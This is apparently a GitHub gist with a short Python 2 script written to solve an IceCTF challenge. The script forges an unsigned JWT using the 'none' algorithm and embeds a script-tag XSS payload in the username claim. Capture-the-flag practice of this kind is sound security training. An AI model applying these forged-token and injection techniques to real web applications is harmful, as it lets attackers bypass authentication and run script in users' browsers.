Skip to content

Instantly share code, notes, and snippets.

@JohnHammond
Created September 13, 2018 13:26
Show Gist options
  • Save JohnHammond/7716b7c314465a07c7f250491d3c35c6 to your computer and use it in GitHub Desktop.
Save JohnHammond/7716b7c314465a07c7f250491d3c35c6 to your computer and use it in GitHub Desktop.
IceCTF "History of Computing" XSS Generator
#!/usr/bin/env python
first_piece = '{ "typ": "JWT", "alg": "none" }'
our_xss = '<script>alert("xss")</script>'
second_piece = '''
{ "username": "%s",
"flag": "IceCTF{hope you don\'t think this is a real flag}"}''' \
% our_xss.replace('"','\\"')
print "%s.%s." % tuple([ x.encode('base64').replace('=','').replace('\n','') \
for x in [first_piece, second_piece] ])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment